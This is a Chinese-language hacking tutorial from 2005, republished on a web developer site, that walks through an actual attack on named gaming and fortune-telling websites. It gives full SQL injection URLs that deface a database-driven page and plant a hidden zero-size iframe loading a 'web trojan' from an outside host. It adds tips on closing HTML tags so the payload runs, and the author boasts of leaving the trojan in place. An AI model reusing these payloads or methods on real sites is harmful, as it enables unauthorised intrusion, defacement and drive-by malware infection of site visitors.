劫持數據庫,實現跨站攻擊 - 中國WEB開發者網絡 (http://www.webasp.net) -- 技術教程 (http://www.webasp.net/article/) --- 劫持數據庫,實現跨站攻擊 (http://www.webasp.net/article/22/21185.htm) |
| -- 作者:未知 -- 發佈日期: 2005-04-29 |
| 我們都知道,所謂跨站攻擊,就是程序對用戶輸入的數據缺少充分過濾,當網站瀏覽者瀏覽信息時,被輸入的惡意腳本就會被執行,這可能是插入一端文字,可能是偷取瀏覽者cookie信息的java腳本,更有甚著是一段利用IE漏洞的網頁木馬代碼。這種攻擊方法與得到webshell後插入木馬代碼要實現起來要簡單容易的多,當然這種方法也有它的缺點,這個我們一會討論。先說實現跨站攻擊的前提條件,當然是網頁中要存在輸入信息過濾不嚴的地方。在某些大型的非互交型的網站中,這種輸入點一般不好找,所以直接從表面入手相當棘手。我們換個角度考慮,如果這個網站存在sql注入點的話,結果就不同了。我這裡說的數據庫是針對MSSQL數據庫的(當然對mysql等數據庫同時有效,不過處理起來有點困難)利用的還是讓人厭煩的但卻是很有效的SQL注入漏洞,不過不需要admin權限,只要有 Update權限就夠了,一般Db_owner就有這個權限。我們直接修改數據庫中的的信息,使得asp程序在調用數據庫時,將修改後的網頁木馬的代碼顯示在網頁中。下面我就用個例子展示一下攻擊過程。在瀏覽台灣橘子站點:http://www.gamania.com的時候,發現了這個地方可以注入:http://fateasia.gamania.com/turtle/index.asp?sid=E00001心中一陣竊喜。像這樣的大站也能注入,於是抱著僥倖的心理拿出看家工具NBSI走一走,猜解出如下信息:權限是Db_Woner要想得到webshell首當其衝的方法是通過Db_Woner的備份權限得到.不過這種方法我在很多網站上都試過了,尤其是大型網站,數據庫是相當龐大的,這種方法成功率並不高(至少我一次都沒有成功過,畢竟自己技術有限,呵呵)成功不成功試試再說,先用讀註冊表的方法得到web物理路徑:具體方法,前期黑防都有的介紹,我就不在嘮叨一遍拉。拿到路徑後當然就是backupwebshell了。由於我沒有看過cyf的這個工具是如何對int型和字符型數據的判斷,所以在Url中參數中加了個’,認為是對整型數據的注入。下面我們看看結果如何:失敗,看來常規的攻擊不會有什麼新的突破,還是另謀他法了。 後來我仔細看了看這個占卜的網頁,看到如下信息:哦,原來是和www.fatesia.com合作建的站,先ping一下著兩個站點:看到沒,是在一個服務器上的。看看打開這個站點看一下:恩,做的不錯啊,網站也挺大的,呵呵,小樣別以為你打,咱們就不敢整你了,瞧著,在網站溜個一圈,同樣存在注入點,更可惜的是這個站使用的數據庫和http://fateasia.gamania.com是同一個數據庫:看來,這個才是主站:看看咱們backup的木馬在這個站上嗎:http://www.fateasia.com/asp.asp返回404錯誤,看來也不行,鬱悶。此時忽然想到,既然不能直接得到webshell,那我們有沒有可能在不得到shell的前提下掛上網頁木馬或者是跨站攻擊腳本呢?因為我們對這個站點的數據庫已經有了操作權限了,這在理論上絕對是可行的,興奮啊,對啊,直接操作數據庫跨站攻擊的確是個應用特別廣泛的方法。使得某些人花費九牛二虎之力弄得個shell才把木馬給掛上去,費時又費力。著只是我的思路而已,我們親手實踐一下看看能成功嗎。 首先要找到asp中的調用數據庫的地方,一般動態變化的信息都是對數據庫的調用。我們選擇個最明顯的地方,(具體的選取,要靠平時大家的經驗了,一般經常更新的地方都回調用數據庫裡的信息)。如下:這個地方走動的紅色文字,應該調用的是據庫裡的信息。查看源代碼看看:我選中的字體大家要看清楚了,由於我們有裝繁體字庫,將選中的字體粘貼到一個本地網頁文件裡打開,在查看|編碼|中選繁體中文:得到如下信息:好了,我們就在數據庫中查找這個信息,由於數據庫相當大,我得花費相當長的時間去查找,工夫不付有心人,終於在數據庫中我把著條信息給揪了出來:在NB中雖然顯示的是亂罵,我把這段文字用IE打開看看:呵呵,和網頁中顯示的一模一樣,看來就是這個地方了,為了證實一下,我update一下數據庫裡這個字段裡的內容:使用如下命令:http://www.fateasia.com/fate.asp?sid=H00050';update runtext set runtext=’acked by llikz (http://www.hacker.com.cn)’;--再刷新一下網頁看看:看到了嗎,我們已經成功更新了它的數據庫裡的信息,如此簡單的一句話就把這個網站的首頁給改掉了,的確感到很有成就感。下面我們就要試著想數據庫裡注入惡意代碼了,我選擇了一個網頁木馬:http://www.fateasia.com/fate.asp?sid=H00050';update runtext set runtext=’test!!</a></font></marquee><iframe src=http://www.hacker.com.cn/muma.htm width=0 height=0 frameborder=0 ></iframe>’;--看看結果:成功了,再來看看源代碼:哈哈,的確把惡意腳本插入到了網頁中。攻擊成功,太令人興奮了,無須得到webshell,一個的網頁木馬已經被植入網頁中。這裡要提醒大家,在找到調用的地方後注入惡意代碼時,要想讓植入網頁的腳本執行,一定要閉合前面的html標記,在以上我的注入中http://www.fateasia.com/fate.asp?sid=H00050';update runtext set runtext=’test!!</a></font></marquee><iframe src=http://www.hacker.com.cn/muma.htm width=0 height=0 frameborder=0 ></iframe>’;--其中的</a></font></marquee>就是為了閉合前面的著幾個標記,似的閉合後下面的<iframe src=http://www.hacker.com.cn/muma.htm width=0 height=0 frameborder=0 ></iframe>可以被瀏覽器解釋執行。大家在具體的使用中要靈活運用,對於注入的文字中含有單引號要使用兩個單引號來代替。 我還要提醒大家,在利用這種方法的時候,一定要確保你的注入語句的正確性,要不非但不會成功,反而可能對數據庫造成破壞,利用的時候要謹慎。切記。 說到著裡,雖然這個方法,在實現上已經沒有什麼問題了,但他還是有缺點的,第一,這種方法生成的網頁木馬隱蔽性不是很好,第二,在插入代碼後,可能會引起網頁顯示格式的變化。著一點也是它最大的缺點。如果你有更好的隱藏代碼而不改變顯示佈局的方法,一定要告訴我啊, 給我QQ留言,共同探討:66734111。 最後把文字給修改回去,不過插入的木馬還留在裡面,可惜了http://www.hacker.com.cn/muma.htm是個不存在的網頁,再次跪求黑防的同志們給俺把馬給裝上,不枉俺把馬地址寫到你們網站上。呵呵。 |
| webasp.net |